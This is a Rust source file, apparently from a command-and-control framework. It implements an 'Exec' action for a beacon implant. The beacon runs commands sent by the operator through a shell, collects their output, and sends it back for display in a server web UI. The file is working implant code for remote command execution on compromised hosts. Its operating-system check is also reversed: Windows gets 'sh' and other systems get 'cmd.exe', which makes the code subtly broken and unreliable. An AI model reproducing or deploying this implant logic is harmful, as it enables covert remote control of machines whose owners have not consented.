Andrew Rioux 7f9ea12b6a
feat: added download and upload commands
redid actions to better support different clients
2025-03-03 20:03:04 -05:00

133 lines
4.0 KiB
Rust

#[cfg(feature = "server")]
use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version;
#[derive(Debug, Serialize, Deserialize, Clone)]
pub struct Exec {
exec_cmd: String
}
#[async_trait::async_trait]
impl super::Action for Exec {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option<&'static str> = None;
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)] = &[
("Command to execute", "exec_cmd", None)
];
type ActionData = String;
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")]
async fn execute<'a, T, S>(
&self,
_parameters: &Parameters,
_adapter: &'a T,
_client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'static + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
use std::process::Stdio;
use tokio::{io::AsyncReadExt, process::Command};
let mut output: Vec<String> = Vec::new();
let mut cmd = if cfg!(target_os = "windows") {
Command::new("sh")
.arg("-c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?
} else {
Command::new("cmd.exe")
.arg("/c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?
};
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stdout_buffer = [0u8; 4096];
let mut stderr_buffer = [0u8; 4096];
loop {
tokio::select! {
amt = stdout.read(&mut stdout_buffer) => {
let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) {
Ok(v) => v.to_string(),
Err(_) => "(invalid UTF-8 chunk)".to_string()
};
output.push(str_out);
},
amt = stderr.read(&mut stderr_buffer) => {
let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) {
Ok(v) => v.to_string(),
Err(_) => "(invalid UTF-8 chunk)".to_string()
};
output.push(str_out);
},
_ = cmd.wait() => {
break;
}
}
}
Ok(output.join(""))
}
#[cfg(feature = "server")]
fn render_data(&self, data: Self::ActionData) -> AnyView {
view! {
<div>
"execute command: " {self.exec_cmd.clone()}
</div>
<details>
{if data.len() > 0 {
Either::Left(view! {
<summary>
"results:"
</summary>
<pre>
{data.clone()}
</pre>
})
} else {
Either::Right(view! {
<div>"results: (empty)"</div>
})
}}
</details>
}
.into_any()
}
#[cfg(feature = "server")]
fn render_empty(&self) -> AnyView {
view! {
<div>
"execute command: " {self.exec_cmd.clone()}
</div>
}
.into_any()
}
}